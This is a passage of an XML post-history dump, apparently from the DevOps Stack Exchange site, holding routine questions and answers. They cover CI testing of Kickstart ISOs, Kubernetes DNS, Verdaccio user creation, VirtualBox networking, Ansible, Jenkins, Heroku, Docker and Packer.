plugged into automation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/cli/azure/ad/app/permission?view=azure-cli-latest#commands&#xD;&#xA;  [2]: https://blogs.msdn.microsoft.com/aaddevsup/2018/06/06/guid-table-for-windows-azure-active-directory-permissions/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29891" PostHistoryTypeId="2" PostId="9959" RevisionGUID="3e7ebfe9-e604-4567-9355-268bdccd8478" CreationDate="2019-11-27T17:04:56.677" UserId="13459" Text="We're trying to develop CI/CD processes to automate testing and installing our builds. Ya know, as one does in DevOps.&#xD;&#xA;&#xD;&#xA;The end result of our build process are ISOs that use Red Hat Kickstart to install RHEL + our software. Today we burn the ISOs to DVD and install them on bare metal hardware. I would like to some how install and test these ISOs on virtual machines as part of our CI process. Something like:&#xD;&#xA;&#xD;&#xA;1. Push commit to GitLab.&#xD;&#xA;2. GitLab CI process runs.&#xD;&#xA;3. Generates an ISO.&#xD;&#xA;4. Creates a half dozen VMs via Ansible/Vagrant/something else??&#xD;&#xA;5. Installs ISO in each VM.&#xD;&#xA;6. Runs a smoke test on each VM to verify that it boots and our software runs.&#xD;&#xA;&#xD;&#xA;I'm not really sure how to do 4, 5, and 6. What tools should we be using? Welcome any tips or advice... even just names of automation tools to look into.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29892" PostHistoryTypeId="1" PostId="9959" RevisionGUID="3e7ebfe9-e604-4567-9355-268bdccd8478" CreationDate="2019-11-27T17:04:56.677" UserId="13459" Text="How to automate installing an ISO in a VM?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29893" PostHistoryTypeId="3" PostId="9959" RevisionGUID="3e7ebfe9-e604-4567-9355-268bdccd8478" CreationDate="2019-11-27T17:04:56.677" UserId="13459" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29896" PostHistoryTypeId="5" PostId="9955" RevisionGUID="aae5bfab-7e94-48af-a815-a65942617adb" CreationDate="2019-11-27T19:53:09.760" UserId="17508" Comment="added 892 characters in body" Text="It is the address of the DNS server (probably CoreDNS but possibly kube-dns) for the cluster.&#xD;&#xA;&#xD;&#xA;Kubernetes uses a DNS server within the cluster so pods can find each other using service names. This is the &quot;cluster DNS&quot; server. Every time a service is created, it gets registered in the DNS server. &#xD;&#xA;&#xD;&#xA;In Linux, the `/etc/resolv.conf` file is where the DNS server is configured. If you want to use Google's public DNS server (8.8.8.8) your `/etc/resolv.conf` file has the entry `nameserver 8.8.8.8`.  &#xD;&#xA;&#xD;&#xA;In Kubernetes, the kubelet process on a worker node configures each pod.  Part of the configuration process is to create the file `/etc/resolv.conf` and specify the correct DNS server.  That server is spec'ed by the `clusterDNS` configuration option.&#xD;&#xA;&#xD;&#xA;How you set it (if you even _need_ to set it yourself) depends on how you're installing kubernetes.  It ultimately depends on the CNI provider you're using, but also if you're doing &quot;kubernetes the hard way&quot; versus `kubeadm`." ContentLicense="CC BY-SA 4.0" />
  <row Id="29897" PostHistoryTypeId="2" PostId="9960" RevisionGUID="af0d367c-727e-44a5-b40f-816c26179e76" CreationDate="2019-11-27T21:05:27.927" UserId="18020" Text="If you're into RHEL you could look into running oVirt ( https://ovirt.org/ ). This will enable you to manage host machines, VMs and virtually anything in between through Ansible. &#xD;&#xA;&#xD;&#xA;What you need is oVirt on top of CentOS or similar, on a baremetal machine. This/these machine(s) will host your new VMs and your so-called Hosted Engine (i.e. the oVirt virtualization management engine run from within a VM running on the hosts themselves to ensure high availability and flexibility), and then you just need Ansible and the oVirt Python SDK.&#xD;&#xA;&#xD;&#xA;Once you have this, it's &quot;as simple as&quot; creating Ansible playbooks and using the oVirt Ansible modules https://docs.ansible.com/ansible/latest/modules/list_of_cloud_modules.html#ovirt" ContentLicense="CC BY-SA 4.0" />
  <row Id="29898" PostHistoryTypeId="2" PostId="9961" RevisionGUID="e2c3a512-24f6-4579-9f7e-9f13f8bba03a" CreationDate="2019-11-27T22:35:42.237" UserId="18256" Text="Please try splitting this line:&#xD;&#xA;&#xD;&#xA;```RUN apk add git &amp;&amp; git clone https://github.com/s0md3v/Photon.git Photon```&#xD;&#xA;&#xD;&#xA;into two:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;RUN apk add git&#xD;&#xA;&#xD;&#xA;RUN git clone https://github.com/s0md3v/Photon.git Photon&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This will tell you exactly which piece of the command fails. If it is the `apk add git` part maybe try this: `RUN apk update &amp;&amp; apk add git`.&#xD;&#xA;&#xD;&#xA;Also you may fixing to a specific tag in the `FROM python:3-alpine` as `3-alpine` follows the latest alpine release which may have some unknown/unfixed issues.&#xD;&#xA;&#xD;&#xA;See https://hub.docker.com/_/python/ for available tags." ContentLicense="CC BY-SA 4.0" />
  <row Id="29913" PostHistoryTypeId="2" PostId="9964" RevisionGUID="a3ceed0d-b18e-4200-9499-92818ba7e1a0" CreationDate="2019-11-28T17:10:14.000" UserId="210" Text="Back in the day `admin:admin` worked, but that results in an `access denied`. `verdaccio:verdaccio` does not work as well. The Dockerfile does not seem to contain a default password as well.&#xD;&#xA;&#xD;&#xA;**Command**&#xD;&#xA;&#xD;&#xA;    docker run -it --rm --name verdaccio -p 4873:4873 verdaccio/verdaccio&#xD;&#xA;&#xD;&#xA;**Log**&#xD;&#xA;&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied" ContentLicense="CC BY-SA 4.0" />
  <row Id="29914" PostHistoryTypeId="1" PostId="9964" RevisionGUID="a3ceed0d-b18e-4200-9499-92818ba7e1a0" CreationDate="2019-11-28T17:10:14.000" UserId="210" Text="What is Verdaccio's default login?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29915" PostHistoryTypeId="3" PostId="9964" RevisionGUID="a3ceed0d-b18e-4200-9499-92818ba7e1a0" CreationDate="2019-11-28T17:10:14.000" UserId="210" Text="&lt;verdaccio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29916" PostHistoryTypeId="2" PostId="9965" RevisionGUID="a69db73f-bbab-46a8-a596-6c80a5bfbec7" CreationDate="2019-11-28T17:10:47.023" UserId="210" Text="Verdaccio is an NPM package manager." ContentLicense="CC BY-SA 4.0" />
  <row Id="29917" PostHistoryTypeId="1" PostId="9965" RevisionGUID="a69db73f-bbab-46a8-a596-6c80a5bfbec7" CreationDate="2019-11-28T17:10:47.023" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="29918" PostHistoryTypeId="2" PostId="9966" RevisionGUID="531b0eba-1916-43ca-a746-191c9dd7c649" CreationDate="2019-11-28T17:10:47.023" UserId="210" Text="Use this tag if a question is about verdaccio." ContentLicense="CC BY-SA 4.0" />
  <row Id="29919" PostHistoryTypeId="1" PostId="9966" RevisionGUID="531b0eba-1916-43ca-a746-191c9dd7c649" CreationDate="2019-11-28T17:10:47.023" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="29920" PostHistoryTypeId="5" PostId="9964" RevisionGUID="e7ec72ca-9119-4bf5-9639-4715addaceba" CreationDate="2019-11-28T17:20:27.497" UserId="210" Comment="added 68 characters in body" Text="Back in the day `admin:admin` worked, but that results in an `access denied`. `verdaccio:verdaccio` does not work as well. The Dockerfile does not seem to contain a default password as well.&#xD;&#xA;&#xD;&#xA;**Command**&#xD;&#xA;&#xD;&#xA;    docker run -it --rm --name verdaccio -p 4873:4873 verdaccio/verdaccio&#xD;&#xA;&#xD;&#xA;**Log**&#xD;&#xA;&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied&#xD;&#xA;&#xD;&#xA;**GitHub**&#xD;&#xA;&#xD;&#xA;https://github.com/verdaccio/verdaccio/issues/1599" ContentLicense="CC BY-SA 4.0" />
  <row Id="29921" PostHistoryTypeId="2" PostId="9967" RevisionGUID="f038f1ac-b5b6-42f7-b8a4-dc74615117a2" CreationDate="2019-11-28T17:22:30.863" UserId="18428" Text="There is no default password, actually none at all. You must create a new user with&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;➜ npm adduser --registry  http://localhost:4873/&#xD;&#xA;Username: wow&#xD;&#xA;Password: &#xD;&#xA;Email: (this IS public) verdaccio.does.ignore.email@whatever.com&#xD;&#xA;Logged in as wow on http://localhost:4873/&#xD;&#xA;```&#xD;&#xA;Then you are logged in." ContentLicense="CC BY-SA 4.0" />
  <row Id="29922" PostHistoryTypeId="5" PostId="9964" RevisionGUID="b16ccc0b-d952-49cd-8000-d4d43f40a754" CreationDate="2019-11-28T17:24:51.747" UserId="210" Comment="added 465 characters in body" Text="Back in the day `admin:admin` worked, but that results in an `access denied`. `verdaccio:verdaccio` does not work as well. The Dockerfile does not seem to contain a default password as well.&#xD;&#xA;&#xD;&#xA;**Command**&#xD;&#xA;&#xD;&#xA;    docker run -it --rm --name verdaccio -p 4873:4873 verdaccio/verdaccio&#xD;&#xA;&#xD;&#xA;**Log**&#xD;&#xA;&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied&#xD;&#xA;&#xD;&#xA;**GitHub**&#xD;&#xA;&#xD;&#xA;https://github.com/verdaccio/verdaccio/issues/1599&#xD;&#xA;&#xD;&#xA;**adduser**&#xD;&#xA;&#xD;&#xA;When http://localhost:4873 is opened, an instruction is shown how to create a new user. However, this fails:&#xD;&#xA;&#xD;&#xA;    npm adduser --registry http://localhost:4873&#xD;&#xA;    Username: (admin) wow&#xD;&#xA;    Password: (&lt;default hidden&gt;)&#xD;&#xA;    Email: (this IS public) (jane@example.com) admin@admin.admin&#xD;&#xA;    npm ERR! code E403&#xD;&#xA;    npm ERR! 403 403 Forbidden - PUT http://localhost:4873/-/user/org.couchdb.user:wow&#xD;&#xA;    npm ERR! 403 In most cases, you or one of your dependencies are requesting&#xD;&#xA;    npm ERR! 403 a package version that is forbidden by your security policy." ContentLicense="CC BY-SA 4.0" />
  <row Id="29923" PostHistoryTypeId="2" PostId="9968" RevisionGUID="900dc020-1795-4add-a84b-c2aa1f4efd2c" CreationDate="2019-11-28T21:33:28.423" UserId="13089" Text="With a bridged adapter, your VM would get its IP from the host machine's network DHCP server. This would allow it to be pinged from your internal network. &#xD;&#xA;&#xD;&#xA;I'd also specify in your configuration that your cable is connected as so:&#xD;&#xA;&#xD;&#xA;    VBoxManage modifyvm &quot;VM&quot; --cableconnected1 on&#xD;&#xA;&#xD;&#xA;Port forwarding in the VM's configuration would also work. It would allow access from the host machine's IP by just specifying the forwarded port.&#xD;&#xA;&#xD;&#xA;To forward port 22 to 2222 you would do as so: &#xD;&#xA;&#xD;&#xA;    VBoxManage modifyvm &quot;VM&quot; --nic1 nat&#xD;&#xA;    VBoxManage modifyvm &quot;VM&quot; --natpf1 &quot;guestssh,tcp,,2222,,22&quot;&#xD;&#xA;    VBoxManage modifyvm &quot;VM&quot; --cableconnected1 on&#xD;&#xA;&#xD;&#xA;If you want it to be accessible by the internet, you would need do port forwarding on your router to route access from your public ip:port to your internal ip:port.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Lre4M.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="29924" PostHistoryTypeId="2" PostId="9969" RevisionGUID="9bcb66bc-7779-4ecc-86d3-74c9c6e359ae" CreationDate="2019-11-29T02:53:54.737" UserId="16819" Text="You have this in your config file:&#xD;&#xA;&#xD;&#xA;    [inventory]&#xD;&#xA;    enable_plugins = host_list, script, auto, yaml, ini, toml&#xD;&#xA;&#xD;&#xA;Do you really need all these plugins?  If not, they'll just add time to your processing.  There is also a small chance that one of them is successfully parsing your inventory file as an empty inventory.  And the [documentation](https://docs.ansible.com/ansible/latest/plugins/inventory.html) states that&#xD;&#xA;&#xD;&#xA;&gt; Once an inventory plugin succeeds at parsing a source, any remaining inventory plugins will be skipped for that source.&#xD;&#xA;&#xD;&#xA;If you do not need those plugins, I'd comment that line (or rework it to remove some of the items).&#xD;&#xA;&#xD;&#xA;Also, are you sure that it is using the local `hosts.ini`?  The command `ansible-config` might help confirming that.&#xD;&#xA;&#xD;&#xA;Regarding your first question (&quot;*Why I have empty hosts.ini in my execute directory*&quot;), there is nothing in your playbooks pointing to that file being created or modified.  Did you mean to  have it modified?  Or you don't know how it was created?  The question there is not clear." ContentLicense="CC BY-SA 4.0" />
  <row Id="29934" PostHistoryTypeId="5" PostId="9964" RevisionGUID="4322164e-1296-44b0-9240-e80ba6ac44b5" CreationDate="2019-11-29T09:56:45.313" UserId="210" Comment="added 194 characters in body" Text="Back in the day `admin:admin` worked, but that results in an `access denied`. `verdaccio:verdaccio` does not work as well. The Dockerfile does not seem to contain a default password as well.&#xD;&#xA;&#xD;&#xA;**Command**&#xD;&#xA;&#xD;&#xA;    docker run -it --rm --name verdaccio -p 4873:4873 verdaccio/verdaccio&#xD;&#xA;&#xD;&#xA;**Log**&#xD;&#xA;&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied&#xD;&#xA;     http &lt;-- 401, user: null(172.17.0.1), req: 'POST /-/verdaccio/login', error: ba&#xD;&#xA;    d username/password, access denied&#xD;&#xA;&#xD;&#xA;**GitHub**&#xD;&#xA;&#xD;&#xA;https://github.com/verdaccio/verdaccio/issues/1599&#xD;&#xA;&#xD;&#xA;**adduser**&#xD;&#xA;&#xD;&#xA;When http://localhost:4873 is opened, an instruction is shown how to create a new user. However, this fails:&#xD;&#xA;&#xD;&#xA;    npm adduser --registry http://localhost:4873&#xD;&#xA;    Username: (admin) wow&#xD;&#xA;    Password: (&lt;default hidden&gt;)&#xD;&#xA;    Email: (this IS public) (jane@example.com) admin@admin.admin&#xD;&#xA;    npm ERR! code E403&#xD;&#xA;    npm ERR! 403 403 Forbidden - PUT http://localhost:4873/-/user/org.couchdb.user:wow&#xD;&#xA;    npm ERR! 403 In most cases, you or one of your dependencies are requesting&#xD;&#xA;    npm ERR! 403 a package version that is forbidden by your security policy.&#xD;&#xA;&#xD;&#xA;**Perhaps the company's proxy is causing the issue?**&#xD;&#xA;&#xD;&#xA;After issuing ```npm config set https-proxy http://company-proxy``` and running the ```npm adduser``` again, a 403 is still returned." ContentLicense="CC BY-SA 4.0" />
  <row Id="29941" PostHistoryTypeId="2" PostId="9973" RevisionGUID="2a33eb09-f9f3-4183-80f2-9b8f5ab5de47" CreationDate="2019-11-29T15:26:02.007" UserId="11221" Text="Update for anyone else who runs into this issue, when Spinnaker is installed using helm it's using an older version of the Halyard container which doesn't have the AWS CLI tool. This seems to be hard to resolve as just updating the values file for helm to the latest version doesn't seem to work and I didn't dig much into the specifics as didn't want to go down that rabbit hole." ContentLicense="CC BY-SA 4.0" />
  <row Id="29942" PostHistoryTypeId="2" PostId="9974" RevisionGUID="bf315d48-8c2f-42c3-98a4-8b5c5cdf5449" CreationDate="2019-11-29T15:46:42.240" UserId="354" Text="It sounds like you need to gather facts again once you've updated the inventory. You start off with&#xD;&#xA;&#xD;&#xA;&gt; First I add new host to my hosts.ini file&#xD;&#xA;&#xD;&#xA;However, **Ansible is not notified about this** until you tell it that the inventory has changed. If this is done _during_ a play, you should use the [add_host](https://docs.ansible.com/ansible/latest/modules/add_host_module.html#add-host-module) module:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Add host gluster1 to group gluster&#xD;&#xA;  add_host:&#xD;&#xA;    name: gluster1&#xD;&#xA;    groups: gluster&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This will update Ansible's facts, _i.e._ it will contact the new host and find out everything about it, now that it knows it is in the `gluster` group.&#xD;&#xA;&#xD;&#xA;Note that then you should start a new play, against this host:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;- name: First play to build hosts&#xD;&#xA;  hosts: localhost&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Add host gluster1 to group gluster&#xD;&#xA;      add_host:&#xD;&#xA;        name: gluster1&#xD;&#xA;        groups: gluster&#xD;&#xA;    - name: Persist inventory&#xD;&#xA;      blockinfile:&#xD;&#xA;        path: /var/lib/awx/projects/_52__glusterfs/hosts.ini&#xD;&#xA;        block: |&#xD;&#xA;          gluster1 ansible_user=&lt;user&gt; ansible_host=&lt;ip&gt;&#xD;&#xA;        state: present&#xD;&#xA;&#xD;&#xA;- name: Second play to do gluster things&#xD;&#xA;  hosts: gluster  # This group now exists in Ansible's in-memory inventory&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Wait for hosts up&#xD;&#xA;      wait_for:&#xD;&#xA;        host: gluster1&#xD;&#xA;        port: 22&#xD;&#xA;    - name: Be awesome&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;Awesomeness Achieved&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29943" PostHistoryTypeId="10" PostId="9887" RevisionGUID="48ae50d3-ff97-4a7e-8e0f-92711a8d7810" CreationDate="2019-11-29T16:31:33.843" UserId="40" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[3073],&quot;Voters&quot;:[{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="29950" PostHistoryTypeId="50" PostId="9617" RevisionGUID="c0e8c2e0-a89a-4ded-b1ff-dbf8e3f08b6b" CreationDate="2019-11-29T19:01:45.237" UserId="-1" />
  <row Id="29967" PostHistoryTypeId="2" PostId="9977" RevisionGUID="16b3c910-c5ff-4b78-8155-99c61b902b23" CreationDate="2019-11-30T07:00:10.347" UserId="210" Text="KOps is an abbreviation for Kubernetes Operations." ContentLicense="CC BY-SA 4.0" />
  <row Id="29968" PostHistoryTypeId="1" PostId="9977" RevisionGUID="16b3c910-c5ff-4b78-8155-99c61b902b23" CreationDate="2019-11-30T07:00:10.347" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="29969" PostHistoryTypeId="2" PostId="9978" RevisionGUID="32169719-f0c3-4531-9881-f98258202bde" CreationDate="2019-11-30T07:00:10.347" UserId="210" Text="Use this tag if a question is about KOps." ContentLicense="CC BY-SA 4.0" />
  <row Id="29970" PostHistoryTypeId="1" PostId="9978" RevisionGUID="32169719-f0c3-4531-9881-f98258202bde" CreationDate="2019-11-30T07:00:10.347" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="29982" PostHistoryTypeId="2" PostId="9982" RevisionGUID="238efe21-08d2-49fb-82ef-d653b5b9ba20" CreationDate="2019-12-01T14:17:34.290" UserId="18304" Text="So, I am trying to recursively delete a directory with all files/folders inside.&#xD;&#xA;I tried:&#xD;&#xA;&#xD;&#xA;      - name: Cleaning up&#xD;&#xA;        file:&#xD;&#xA;          state: absent&#xD;&#xA;          path: /tmp/myfolder/&#xD;&#xA;&#xD;&#xA;But the directory did not get deleted. Is there any force/recursive parameter I can add? What am I missing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29983" PostHistoryTypeId="1" PostId="9982" RevisionGUID="238efe21-08d2-49fb-82ef-d653b5b9ba20" CreationDate="2019-12-01T14:17:34.290" UserId="18304" Text="Ansible can't recursively delete a directory" ContentLicense="CC BY-SA 4.0" />
  <row Id="29984" PostHistoryTypeId="3" PostId="9982" RevisionGUID="238efe21-08d2-49fb-82ef-d653b5b9ba20" CreationDate="2019-12-01T14:17:34.290" UserId="18304" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29987" PostHistoryTypeId="2" PostId="9983" RevisionGUID="2b10b3a4-b506-45ae-a9da-8a3fef78ae00" CreationDate="2019-12-02T04:14:47.780" UserId="11527" Text="We need below plugin in Jenkins:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;  [1]: https://i.stack.imgur.com/FZZXD.png&#xD;&#xA;&#xD;&#xA;---------------------------&#xD;&#xA;&#xD;&#xA;Currently I have installed below list of plugins:&#xD;&#xA;&#xD;&#xA;    git:latest&#xD;&#xA;    git-client:latest&#xD;&#xA;    git-server:latest&#xD;&#xA;    github:latest&#xD;&#xA;    github-api:latest&#xD;&#xA;    github-branch-source:latest&#xD;&#xA;&#xD;&#xA;-----------------------&#xD;&#xA;&#xD;&#xA;Am using Jenkins 2.190.2&#xD;&#xA;&#xD;&#xA;I could not find GitHub plugin configuration in Jenkins after navigating `Manage Jenkins` -&gt; `Configure System`&#xD;&#xA;&#xD;&#xA;-----------------------&#xD;&#xA;&#xD;&#xA;What is the name of the GitHub plugin that needs to be added in plugin list to install using `/usr/local/bin/install-plugins.sh`?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29988" PostHistoryTypeId="1" PostId="9983" RevisionGUID="2b10b3a4-b506-45ae-a9da-8a3fef78ae00" CreationDate="2019-12-02T04:14:47.780" UserId="11527" Text="What the name of plugin for GitHub plugin?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29989" PostHistoryTypeId="3" PostId="9983" RevisionGUID="2b10b3a4-b506-45ae-a9da-8a3fef78ae00" CreationDate="2019-12-02T04:14:47.780" UserId="11527" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29990" PostHistoryTypeId="4" PostId="9983" RevisionGUID="092c2d11-708d-44c3-ab50-6ff932e7a71d" CreationDate="2019-12-02T05:27:03.817" UserId="11527" Comment="edited title" Text="What is the name of plugin for GitHub plugin?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29991" PostHistoryTypeId="4" PostId="9983" RevisionGUID="5fe73973-80eb-4cba-9742-442fe7b00eac" CreationDate="2019-12-02T06:35:06.163" UserId="11527" Comment="edited title" Text="What is the name of Jenkins plugin for GitHub plugin configuration?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29992" PostHistoryTypeId="2" PostId="9984" RevisionGUID="82d55f8c-ee1e-4789-ae57-4a103cbcbeeb" CreationDate="2019-12-02T07:48:13.277" UserId="7118" Text="I have a bitbucket pipeline that almost working: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;image: atlassian/default-image:2&#xD;&#xA;&#xD;&#xA;pipelines:&#xD;&#xA;  default:&#xD;&#xA;    - step:&#xD;&#xA;        services:&#xD;&#xA;          - docker&#xD;&#xA;        script:      &#xD;&#xA;          #Build the image    &#xD;&#xA;          - docker build -t $IMAGE_NAME ./backend&#xD;&#xA;          #Login to heroku's docker registry with an API token&#xD;&#xA;          - docker login --username=_ --password $HEROKU_TOKEN registry.heroku.com&#xD;&#xA;&#xD;&#xA;          #Tag and push our built image to the heroku docker registry&#xD;&#xA;          - docker tag $IMAGE_NAME registry.heroku.com/$HEROKU_APPLICATION_NAME/web&#xD;&#xA;          - docker push registry.heroku.com/$HEROKU_APPLICATION_NAME/web&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The final step is - I would run something like `heroku container:release web  -a=$HEROKU_APPLICATION_NAME`&#xD;&#xA;&#xD;&#xA;How can I do that without actually having the heroku-cli (ie. from the bitbucket pipeline). " ContentLicense="CC BY-SA 4.0" />
  <row Id="29993" PostHistoryTypeId="1" PostId="9984" RevisionGUID="82d55f8c-ee1e-4789-ae57-4a103cbcbeeb" CreationDate="2019-12-02T07:48:13.277" UserId="7118" Text="What's the equivalent of `heroku container:release web` without using heroku-cli?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29994" PostHistoryTypeId="3" PostId="9984" RevisionGUID="82d55f8c-ee1e-4789-ae57-4a103cbcbeeb" CreationDate="2019-12-02T07:48:13.277" UserId="7118" Text="&lt;continuous-deployment&gt;&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30001" PostHistoryTypeId="2" PostId="9987" RevisionGUID="fba24d81-cc65-47b4-970b-59b30059fb62" CreationDate="2019-12-02T09:21:08.087" UserId="16683" Text="The plugin that you are looking for is: https://github.com/jenkinsci/github-plugin.&#xD;&#xA;&#xD;&#xA;You need to go in `Manage Jenkins` &gt; `Global Configuration` to find the GitHub plugin configuration (according the [documentation](https://wiki.jenkins.io/display/JENKINS/Github+Plugin))." ContentLicense="CC BY-SA 4.0" />
  <row Id="30006" PostHistoryTypeId="2" PostId="9990" RevisionGUID="1cfd9c1d-fd28-4dc5-abde-5793b4f1987f" CreationDate="2019-12-02T14:56:29.030" UserId="18471" Text="I tried pulling the windows/nanoserver image.    &#xD;&#xA;After that failed I looked around and found [this site](https://docs.microsoft.com/en-us/virtualization/windowscontainers/manage-containers/container-base-images)    &#xD;&#xA;Every one of them fails with the same error message&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #docker pull mcr.microsoft.com/windows/nanoserver:1909&#xD;&#xA;    ltsc2019: Pulling from windows/servercore&#xD;&#xA;    no matching manifest for unknown in the manifest list entries&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additional Info:     &#xD;&#xA;Docker version: 18.09.2, build 6247962    &#xD;&#xA;Win10 Enterprise 2016 LTSB: Version	10.0.14393 Build 14393&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30007" PostHistoryTypeId="1" PostId="9990" RevisionGUID="1cfd9c1d-fd28-4dc5-abde-5793b4f1987f" CreationDate="2019-12-02T14:56:29.030" UserId="18471" Text="Pulling windows base images fails" ContentLicense="CC BY-SA 4.0" />
  <row Id="30008" PostHistoryTypeId="3" PostId="9990" RevisionGUID="1cfd9c1d-fd28-4dc5-abde-5793b4f1987f" CreationDate="2019-12-02T14:56:29.030" UserId="18471" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30009" PostHistoryTypeId="2" PostId="9991" RevisionGUID="ece2aefa-e71a-4f44-8b8f-d046274072aa" CreationDate="2019-12-02T15:33:04.687" UserId="18304" Text="So I am creating a docker image with packer.&#xD;&#xA;The template defines the provisioners and builders etc. &#xD;&#xA;The builder section looks like this:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;builders&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;type&quot;: &quot;docker&quot;,&#xD;&#xA;                &quot;image&quot;: &quot;ubuntu:latest&quot;,&#xD;&#xA;                &quot;export_path&quot;: &quot;image.tar&quot;,&#xD;&#xA;                &quot;changes&quot;: [&#xD;&#xA;                    &quot;USER test&quot;,&#xD;&#xA;                    &quot;WORKDIR /tmp&quot;,&#xD;&#xA;                    &quot;VOLUME /data&quot;,&#xD;&#xA;                    &quot;EXPOSE 21 22&quot;,&#xD;&#xA;                    &quot;CMD sudo myprogram&quot;&#xD;&#xA;                ]&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When running packer against the template, the output is an `image.tar` file. &#xD;&#xA;I can then import it: `docker import image.tar`.&#xD;&#xA;And then I start like this `docker run -p 21:21 -it --rm 52c0b0362362 bash`.&#xD;&#xA;&#xD;&#xA;I want whenever the image is started that automatically `sudo myprogram` is executed. However it does not seem to work, even tho the template validated successfully. I also tried instead of specifying `CMD sudo myprogram` to set it as entrypoint like so: `ENTRYPOINT sudo myprogram`.&#xD;&#xA;Neither worked. How can I make sure whenever my image is started, this command is automatically executed? It must be run as root/with sudo, that's important." ContentLicense="CC BY-SA 4.0" />
  <row Id="30010" PostHistoryTypeId="1" PostId="9991" RevisionGUID="ece2aefa-e71a-4f44-8b8f-d046274072aa" CreationDate="2019-12-02T15:33:04.687" UserId="18304" Text="Run command when packer created docker image starts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30011" PostHistoryTypeId="3" PostId="9991" RevisionGUID="ece2aefa-e71a-4f44-8b8f-d046274072aa" CreationDate="2019-12-02T15:33:04.687" UserId="18304" Text="&lt;docker&gt;&lt;configuration-management&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 4.0" />
